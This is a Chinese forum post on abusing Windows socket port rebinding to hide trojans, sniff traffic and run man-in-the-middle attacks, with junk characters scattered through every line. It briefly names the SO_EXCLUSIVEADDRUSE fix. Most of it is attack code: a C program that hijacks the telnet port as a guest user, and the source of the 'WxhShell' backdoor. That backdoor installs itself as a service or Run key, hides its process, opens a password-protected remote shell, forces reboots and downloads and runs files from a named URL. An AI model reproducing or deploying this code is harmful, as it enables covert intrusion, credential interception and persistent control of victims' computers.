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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hA?j"y0?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #lQbMuR  
xTX\% s|  
  saddr.sin_family = AF_INET; 5j`"@C5;O  
l/yLSGjM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k0?4vA  
_Kx  /z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L1`^~m|  
0/<}.Z]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [kzcsJ'/e  
cD8.rRyD  
  这意味着什么?意味着可以进行如下的攻击: Q{!lLka  
%}P^B^O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MQ2gzKw>  
N10'./c K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y-}lz#N  
2GcQh]ohc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]Ole#Lz}Q  
it\{#rb=4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AqvRzi(Y  
bslv_OxJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z;XR%n8  
_%!C;`3Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y>EwU  
q|om^:n.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~R/7J{Sg  
<"/Y`/  
  #include E8=.TM]L  
  #include |!dyk<}oIu  
  #include m~r^@D  
  #include    a@zKi;  
  DWORD WINAPI ClientThread(LPVOID lpParam);    2 Ua_7  
  int main() \P!v9LX(  
  { a2UER1Yp"  
  WORD wVersionRequested; JGf6*D"O  
  DWORD ret; 8nQlmWpJ  
  WSADATA wsaData; a9"x_IVU  
  BOOL val; *D F5sY  
  SOCKADDR_IN saddr; ('W#r"  
  SOCKADDR_IN scaddr; KU3lAjzN  
  int err; }_0?S0<#  
  SOCKET s; 9M~EH?>+[  
  SOCKET sc; hT^6Ifm  
  int caddsize; n<\^&_a  
  HANDLE mt; mT5d[lz  
  DWORD tid;   I1kx3CwJ{P  
  wVersionRequested = MAKEWORD( 2, 2 ); J @"wJEF  
  err = WSAStartup( wVersionRequested, &wsaData ); d7^:z%Eb|  
  if ( err != 0 ) { zUXqTcj  
  printf("error!WSAStartup failed!\n"); P$.Azrl  
  return -1; $2 Ox;+  
  } wsP3hE' ]  
  saddr.sin_family = AF_INET; BkA>':bUr  
   y ']>J+b0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H0 km*5Sn  
qDhz|a#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  }Q`Kg8L  
  saddr.sin_port = htons(23); *f.eyg#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !y'LKze+G  
  { =]\,I'  
  printf("error!socket failed!\n"); Lh"Je-x<<  
  return -1; @= 6}w_  
  } 3w ?)H  
  val = TRUE; ,y,NVF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i+Px &9o<9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KI-E=<zt  
  { [xk1}D  
  printf("error!setsockopt failed!\n"); @8|-  C  
  return -1; 9Z6] ];8E  
  } rYeFYPS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rcq(p (!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bL!NT}y`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f'aUo|^?  
"2 ma]Ps  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !V Zl<|  
  { :Py/d6KK  
  ret=GetLastError(); :De}5BMy  
  printf("error!bind failed!\n"); Z5[ t/  
  return -1; hBz~FB];&  
  } % &4sHDP  
  listen(s,2); Q)C#)|S  
  while(1) @;fdf3ian  
  { ov#/v\|0  
  caddsize = sizeof(scaddr); 5ts8o&|   
  //接受连接请求 XkCbdb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P00d#6hPJ  
  if(sc!=INVALID_SOCKET) tu6c!o,@  
  { z++*,2F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^g~Asz5]  
  if(mt==NULL) &y mfA{s  
  { ,/m<=`*N|  
  printf("Thread Creat Failed!\n"); n+rAbn5o$  
  break; xI<Dc*G  
  } T5-50nU,~  
  } hBLJKSv  
  CloseHandle(mt); aQMET~A:  
  } X/];*='Q  
  closesocket(s); I &YYw8&  
  WSACleanup(); niFX8%<hP  
  return 0; UALwr>+VJ  
  }   ^lB1- ;ng  
  DWORD WINAPI ClientThread(LPVOID lpParam) (".`#909  
  { E[Tz%x=P  
  SOCKET ss = (SOCKET)lpParam; HpSgGhL'J&  
  SOCKET sc; G!8O*4+A  
  unsigned char buf[4096]; IpoZ6DB$  
  SOCKADDR_IN saddr; WsL*P .J  
  long num; d&w g\"E  
  DWORD val; E6NkuBQ((  
  DWORD ret; MQD UJ^I$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >VE,/?71@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G! zV=p  
  saddr.sin_family = AF_INET; %TPnC'2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]"q)X{G(+  
  saddr.sin_port = htons(23); Q68&CO(rE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @mNf(&  
  { /.aZXC$]  
  printf("error!socket failed!\n"); @PZ&/F ^  
  return -1; a_L&*%;  
  } T#|Qexz6 @  
  val = 100; 1G=1FGvP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^%)'wDK  
  { H-nk\ K<|  
  ret = GetLastError(); <)uUAh  
  return -1;  ;B^G<  
  } 7cK#fh"hvg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]N:SB  
  { /$! / F@^  
  ret = GetLastError(); 37v!:xF!  
  return -1; gJ+MoAM"  
  } AVOzx00U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ii?<Lz  
  { (%oZgvM  
  printf("error!socket connect failed!\n"); ,`^B!U3m   
  closesocket(sc); f:B+R  
  closesocket(ss); .*r ?zDV  
  return -1; 7F>5<Gv:-  
  } PnFU{N  
  while(1) xA`Q4"[I  
  { S?D|"#-,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pez[qs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^a[7qX_B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %?<C ?.  
  num = recv(ss,buf,4096,0); \%KJ +PJ  
  if(num>0) KR^lmN  
  send(sc,buf,num,0); 1wW8D>f]K  
  else if(num==0) x9a*^l  
  break; KX"?3#U#Fm  
  num = recv(sc,buf,4096,0); t*.O >$[  
  if(num>0) .YYiUA-i9n  
  send(ss,buf,num,0); #@;RJJZg  
  else if(num==0) k*J}/HO  
  break; V);{o>%.K  
  } >e/;  
  closesocket(ss); 'D1 T"}  
  closesocket(sc); N~;=*)_VH  
  return 0 ; 2wlrei  
  } !Z YMks4  
f#ID:Ap3  
=V5<>5"M?  
========================================================== U8c0N<j  
E=Ah_zKU  
下边附上一个代码,,WXhSHELL ?uc=(J+6  
38L8AJqD  
========================================================== E&Pv:h,pV&  
^ W eE%"  
#include "stdafx.h" al F*L  
X)e6Y{vO  
#include <stdio.h> N0O8to}V  
#include <string.h> glH&v8  
#include <windows.h> $LRvPan`  
#include <winsock2.h> s_hf,QH  
#include <winsvc.h> 0F8y8s  
#include <urlmon.h> }W#Gf.$6C  
kUUN2  
#pragma comment (lib, "Ws2_32.lib") D(Pd?iQIO  
#pragma comment (lib, "urlmon.lib") MG*#-<OV.  
^+F@KXn L  
#define MAX_USER   100 // 最大客户端连接数 we4e>)  
#define BUF_SOCK   200 // sock buffer 8Focs p2  
#define KEY_BUFF   255 // 输入 buffer TbXp%O:[W  
)TP 1i  
#define REBOOT     0   // 重启 >to NGGU=~  
#define SHUTDOWN   1   // 关机 [<}:b>a  
UA!-YTh  
#define DEF_PORT   5000 // 监听端口 AY5%<CWj8  
.5p"o-:D  
#define REG_LEN     16   // 注册表键长度 }N]|zCEj  
#define SVC_LEN     80   // NT服务名长度 R 3TdQ6j  
:@y!5[88!  
// 从dll定义API Y#{ L}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M n`gd#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &{!FE`ZC_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sTP`xaY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wrf('  
Gw:8-bxS  
// wxhshell配置信息 WNrgqyM  
struct WSCFG { skh6L!6*<  
  int ws_port;         // 监听端口 b/:9^&z  
  char ws_passstr[REG_LEN]; // 口令 w=vK{h#8  
  int ws_autoins;       // 安装标记, 1=yes 0=no fJBp,{0  
  char ws_regname[REG_LEN]; // 注册表键名 yd$_XW p?\  
  char ws_svcname[REG_LEN]; // 服务名 a}|B[b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R+Dx#Wn I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'H`aQt+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e[$=5U~c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8)s}>:}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Wa^:8N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mDEO$:A  
[w' Y3U\ i  
}; ry\Nm[SQ  
 )o`|t  
// default Wxhshell configuration &W`."  
struct WSCFG wscfg={DEF_PORT, !f2f gX  
    "xuhuanlingzhe", dT4?8:  
    1, x9bfH1  
    "Wxhshell", St7ZyN1  
    "Wxhshell", %D< =6suW  
            "WxhShell Service", KhIg  
    "Wrsky Windows CmdShell Service", NYA,  
    "Please Input Your Password: ", ,j>A[e&.  
  1, W&#Ps6)8  
  "http://www.wrsky.com/wxhshell.exe", V|e9G,z~A  
  "Wxhshell.exe" J.W0F #?  
    }; ~~!iDF\  
bW\OKI1  
// 消息定义模块 m^Qc9s#D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kG@~;*;l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u&z5)iU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]&w8"q  
char *msg_ws_ext="\n\rExit."; 89e<,f`h  
char *msg_ws_end="\n\rQuit."; \=Rw/[lR  
char *msg_ws_boot="\n\rReboot..."; f40xS7-Q0  
char *msg_ws_poff="\n\rShutdown..."; 8;K'77h  
char *msg_ws_down="\n\rSave to "; HJWk%t<  
m<qPj"g~L  
char *msg_ws_err="\n\rErr!"; C ioM!D  
char *msg_ws_ok="\n\rOK!"; V<:scLm#OF  
1(t{)Z<  
char ExeFile[MAX_PATH]; %ub\+~  
int nUser = 0; CzDJbvv ]  
HANDLE handles[MAX_USER]; xc{$=>'G  
int OsIsNt; 9jW/"  
hDBVL"  
SERVICE_STATUS       serviceStatus; KYBoGCS>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 12r]"?@|s  
xNDX(_U>\  
// 函数声明 $bSnbU <  
int Install(void); T6_LiB @  
int Uninstall(void); rUgTJx&ds  
int DownloadFile(char *sURL, SOCKET wsh); t$+[(}@ +  
int Boot(int flag); %*J'!PC9n  
void HideProc(void); (NB\wJg $  
int GetOsVer(void); (.[HE ~ s?  
int Wxhshell(SOCKET wsl); Qn0 1ig  
void TalkWithClient(void *cs); >Vp #   
int CmdShell(SOCKET sock); =?9z6=  
int StartFromService(void); fu 0]BdM  
int StartWxhshell(LPSTR lpCmdLine); +7%}SV 2)  
{jVEstP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |Iq#Q3w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &.D#OnRh9  
%#gHa  
// 数据结构和表定义 XNZW J  
SERVICE_TABLE_ENTRY DispatchTable[] = s,~)5nL  
{ Iq/V[v  
{wscfg.ws_svcname, NTServiceMain}, *Y"j 0Yob  
{NULL, NULL} AE?G+:B  
}; 2$S^3$k'  
bSbUf%LKt  
// 自我安装 a[).'$S}'  
int Install(void) ^R;Qa#=2  
{ 1uz7E  
  char svExeFile[MAX_PATH]; EGD&/%aC  
  HKEY key; [*i6?5}-  
  strcpy(svExeFile,ExeFile); znVao %b  
Fkq;Q  
// 如果是win9x系统,修改注册表设为自启动 0{0A,;b  
if(!OsIsNt) { <Wz+f+HC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )2lzPK t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 22`N(_  
  RegCloseKey(key); .|d2s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fqr}zR)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ic!8$NhRS  
  RegCloseKey(key); L"Vi:zdp  
  return 0; f3bZ*G%f  
    } ;Nfd  
  } ~]Md*F[4*e  
} H6fR6Kr4j  
else { >n!,KUu]  
sD_"  
// 如果是NT以上系统,安装为系统服务 OsSGVk #Qh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4I %/}+Q  
if (schSCManager!=0) uW@o,S0:  
{ v8PH(d2{@  
  SC_HANDLE schService = CreateService >R&=mo~  
  ( heF<UMI  
  schSCManager, 3jaY\(`%h  
  wscfg.ws_svcname, ~-dL #;  
  wscfg.ws_svcdisp, sPKyg  
  SERVICE_ALL_ACCESS, moe5H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~C;1}P%9x  
  SERVICE_AUTO_START, %b)~K|NEFf  
  SERVICE_ERROR_NORMAL, W5#5RK"uX  
  svExeFile, ga#Yd}G^~3  
  NULL, |N^z=g P[  
  NULL,  ~wX4j  
  NULL, v<2B^(i}VB  
  NULL, h3z=tu['  
  NULL xQKD1#y  
  ); }zK/43Vx  
  if (schService!=0) P#8 ]m(  
  { jT6zpi~]E  
  CloseServiceHandle(schService); 9S _N*wC.  
  CloseServiceHandle(schSCManager); J&<uP)<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q1d'L *   
  strcat(svExeFile,wscfg.ws_svcname); q^.\8zFf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *, Mg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9F*],#ng  
  RegCloseKey(key); .JJ^w!|>#  
  return 0; 1zz.`.R2U  
    } 1!;}#m7v  
  } ~582'-=+  
  CloseServiceHandle(schSCManager); KPT@I3P  
} p]7Gj &a  
} ;4g_~fB  
#9Fe,  
return 1; OP-%t\sj>  
} /p&)bL  
@|2}*_3\  
// 自我卸载 (ex^=fv  
int Uninstall(void) guD?~-Q  
{ lQ}e"#<  
  HKEY key; &dC #nw  
@3 UVl^T  
if(!OsIsNt) { Q I.*6-(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,;_D~7L  
  RegDeleteValue(key,wscfg.ws_regname); N,><,7!q$,  
  RegCloseKey(key); 0 CJ4]mYl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ji &*0GJQ  
  RegDeleteValue(key,wscfg.ws_regname); )kE(%q:*P$  
  RegCloseKey(key); #=MQE  
  return 0; h0N*hx   
  } jJ' LM>e  
} ,0~/ Cn  
} M~G1ZB  
else { SwDUg}M~  
{mlJE>~%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i>M*ubWE4@  
if (schSCManager!=0) :EUV#5V.  
{ 7 -(LWH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YS_9M Pi  
  if (schService!=0) h)M9Oup`  
  { Kk^tQwj/QE  
  if(DeleteService(schService)!=0) { jaoGm$o>"F  
  CloseServiceHandle(schService); mndUQN_Gb  
  CloseServiceHandle(schSCManager); us.+nnd  
  return 0; N1V qK  
  } Q&rf&8iH  
  CloseServiceHandle(schService); J)l]<##  
  } `P`n qn  
  CloseServiceHandle(schSCManager); VH{SE7  
} y %k`  
} '(/ZJ88JP  
,H3C\.%w\  
return 1; .2xp.i{  
} !n`ogzOh  
jH*+\:UP-  
// 从指定url下载文件 %;.|?gR  
int DownloadFile(char *sURL, SOCKET wsh) %5_eos&<^)  
{ ,u}n!quA  
  HRESULT hr; ==psPyLF@  
char seps[]= "/"; i*9l  
char *token; `TkI yGr  
char *file; x*#F|N4~',  
char myURL[MAX_PATH]; 1%L* 9>e  
char myFILE[MAX_PATH]; _ +,2b:D:  
%Km_Sy[7']  
strcpy(myURL,sURL); dkV%Pyj  
  token=strtok(myURL,seps); 3I_"vk  
  while(token!=NULL) OpwZTy}1}  
  { J! 4l-.-  
    file=token; '_n{+eR74  
  token=strtok(NULL,seps); dt"[5;_P`  
  } VA _O0y2  
5L<}u` 0J  
GetCurrentDirectory(MAX_PATH,myFILE); ?=<vC  
strcat(myFILE, "\\"); o8P 5C4y  
strcat(myFILE, file); hfY Ieb#91  
  send(wsh,myFILE,strlen(myFILE),0); ? OBe!NDf  
send(wsh,"...",3,0); ^i{B8]2,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %*.;3;m  
  if(hr==S_OK) ^g,[#Rh  
return 0; cU25]V^{\  
else 5 TD"  
return 1; lLHHuQpuj  
S^ ?OKqS  
} 5eC5oX>  
+q]  
// 系统电源模块 a9GOY+;bf  
int Boot(int flag) b`n+[UCPtn  
{ D PnKr/  
  HANDLE hToken; {uO8VL5+Qx  
  TOKEN_PRIVILEGES tkp; 9p!V?cH#8  
!MB%  
  if(OsIsNt) { k=[!{I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OwP9=9};  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L%a ni}V  
    tkp.PrivilegeCount = 1; tg~&kaz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 66=6;77  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E{r_CR+8  
if(flag==REBOOT) { ,_T,B'a:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "b*.>QuZ  
  return 0; $ 8w eh3p  
} =JyYU*G4  
else { )2oWoZ vi9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |xH"Xvp:  
  return 0; J`O4]XRY  
} 1!\!3xaV  
  } )J_!ZpMC  
  else { rsf A.o  
if(flag==REBOOT) { K0]'v>AWr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w\;=3C`  
  return 0; ?ZSG4La\  
} &a8#qv"l  
else { I TJ>[c]x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `sN3iD!@R  
  return 0; w2~(/RgO  
} o lNL|WJ`w  
} `hS<F" j  
0+8ThZ?n  
return 1; %_1~z[Dv  
} /-$`GT?l  
mN?'Aey  
// win9x进程隐藏模块 2 < &-  
void HideProc(void) eEn_aX  
{ bm1ngI1oI  
5v~Y>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,I=Cl mR  
  if ( hKernel != NULL ) tZa)sbz  
  { (k M\R|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xr M[8a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KLq u[{y.'  
    FreeLibrary(hKernel); ;sNyN#  
  } _dsd{&  
@V] Wm1g  
return; ;0xCrE{l"  
} SBjtg@:G0n  
HtEjM|zj  
// 获取操作系统版本 8Mg4y1)RU  
int GetOsVer(void) /Fh"Gl^  
{ qPE(Lt1  
  OSVERSIONINFO winfo; VR_+/,~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7^KQQ([  
  GetVersionEx(&winfo); $EviGZFAaR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~<v.WP<:  
  return 1; wXZ.D}d  
  else yixW>W}  
  return 0; WGG|d)'@  
} B0q![  
T|ZZkNP|6  
// 客户端句柄模块 I2j;9Qcz  
int Wxhshell(SOCKET wsl) "MC&!AMv  
{ h%+8}uywZ  
  SOCKET wsh;  R76'1o  
  struct sockaddr_in client; <$Uj ~jN  
  DWORD myID; :`3b|u=KZ  
}jiqUBn%  
  while(nUser<MAX_USER) ADv a@P  
{ ":7cZ1VN2  
  int nSize=sizeof(client); v_c'npC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _gC<%6#V`r  
  if(wsh==INVALID_SOCKET) return 1; EemKYcE@Nr  
%/etoK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |,dMF2ADc  
if(handles[nUser]==0) tt J,rM  
  closesocket(wsh); G:WMocyXI'  
else ]N=C%#ki!  
  nUser++; .2xypL8(  
  } tsfOPth$*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |,sUD/rt  
J@Zm8r<  
  return 0; mkE*.I0=  
} IH~H6US  
2z0HB+Y}x  
// 关闭 socket (m04Z2#  
void CloseIt(SOCKET wsh) mZ/B:)_  
{ 1LPfn(  
closesocket(wsh); 'b661,+d  
nUser--; yH#;k:O=  
ExitThread(0); [po+a@ %  
} kOdS^-  
@z/]!n\~  
// 客户端请求句柄 3<mv9U(  
void TalkWithClient(void *cs) \|62E):i1  
{ 87<y_P@{  
mnmwO(.  
  SOCKET wsh=(SOCKET)cs; oN `tZ;a  
  char pwd[SVC_LEN]; #mkr]K8A4  
  char cmd[KEY_BUFF]; m qw!C  
char chr[1]; lmmyDg1R  
int i,j; [7I|8  
)&dhE^ O  
  while (nUser < MAX_USER) { d}l^yln  
cC}s5`  
if(wscfg.ws_passstr) { @bqCs^U35  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?sS'T7r v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -S,dG|  
  //ZeroMemory(pwd,KEY_BUFF); ]LSa(7>EU  
      i=0; 29qQ3M?  
  while(i<SVC_LEN) { uqQMS&;+,|  
,s)~Y p?<  
  // 设置超时 Q.y KbO<[  
  fd_set FdRead; 2OT6*+D  
  struct timeval TimeOut; akCl05YW  
  FD_ZERO(&FdRead); M;iaNL(  
  FD_SET(wsh,&FdRead); *|E@ 81s#  
  TimeOut.tv_sec=8; [qZ4+xF,,  
  TimeOut.tv_usec=0; HqF8:z?v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vQ_B2#U:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J$EEpL  
KFfwZkj{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wj'iU&aca  
  pwd=chr[0]; 0x`:jz`  
  if(chr[0]==0xd || chr[0]==0xa) { &y(aByI y  
  pwd=0; "5y^s!/  
  break; FBY~Z$o0.  
  } l&|{uk  
  i++; !k s<VJh  
    } =~0XdS/1  
$`=?Nb@@#  
  // 如果是非法用户,关闭 socket YKx0Zs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ThzLk#m  
} bs`/k&'  
wcL0#[)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~o2{Wn["  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %qE#^ U  
?x[>g!r  
while(1) { kW:!$MX!  
C,<TAm  
  ZeroMemory(cmd,KEY_BUFF); _:K}DU'6  
jU#%@d6!#  
      // 自动支持客户端 telnet标准   nb|MHtPX  
  j=0; `nM4kt7  
  while(j<KEY_BUFF) { _$cBI_eA7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HkV/+ {;S~  
  cmd[j]=chr[0]; ~%}g"|o  
  if(chr[0]==0xa || chr[0]==0xd) { d:wAI|  
  cmd[j]=0; 2 sOc]L:9  
  break; 4dok/ +Ec  
  } Qdn:4yk  
  j++; -qEr-[z  
    } W ,U'hk%  
NkJ^ecn%)  
  // 下载文件 y(S0 2v>l  
  if(strstr(cmd,"http://")) { Z0:BXtW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Grub1=6l  
  if(DownloadFile(cmd,wsh)) +]e4c;`ko}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 O6MI4:  
  else :Aa^afjJw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .iS]aJJ  
  } xD#/@E1'Y  
  else { lz*2wGI9  
jFc{$#g-  
    switch(cmd[0]) { x!jhWX  
  Lf:Z (Z>  
  // 帮助 b7,qzh  
  case '?': { 0IdD   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  {Eb6.  
    break; oaK~:'  
  } B)|s.Ez  
  // 安装 -s1VlS/  
  case 'i': { d{m0uX56  
    if(Install()) Fi`:G}   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[rB/ |2  
    else o99 a=x6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I|5OCTu  
    break; onlyvH4  
    } /PCQv_Y&,/  
  // 卸载 yh)q96m-V=  
  case 'r': { o&O!Ur  
    if(Uninstall()) `2oi~^.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `WT7w']NT  
    else i*tj@5MY-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QM]^@2rK2  
    break; ?`XKaD! f  
    } DXGO-]!!0  
  // 显示 wxhshell 所在路径 Ll`apKr  
  case 'p': { $d=lDN  
    char svExeFile[MAX_PATH]; z W _'sC  
    strcpy(svExeFile,"\n\r"); YH>n{o;- ?  
      strcat(svExeFile,ExeFile); tc',c},h~,  
        send(wsh,svExeFile,strlen(svExeFile),0); k);!H+  
    break; 3YRzBf:h  
    } r__M1 !3  
  // 重启 x9e 9$ww}  
  case 'b': { vKC>t95  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4kM<L}J#  
    if(Boot(REBOOT)) 'yNp J'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GND[f}  
    else { g;h&Xkp  
    closesocket(wsh); 9T1G/0k-  
    ExitThread(0); 6>Cubb>  
    } t|m3b~Oyv  
    break; r:cUAe7#  
    } 4HJrR^  
  // 关机 Qi61(lK  
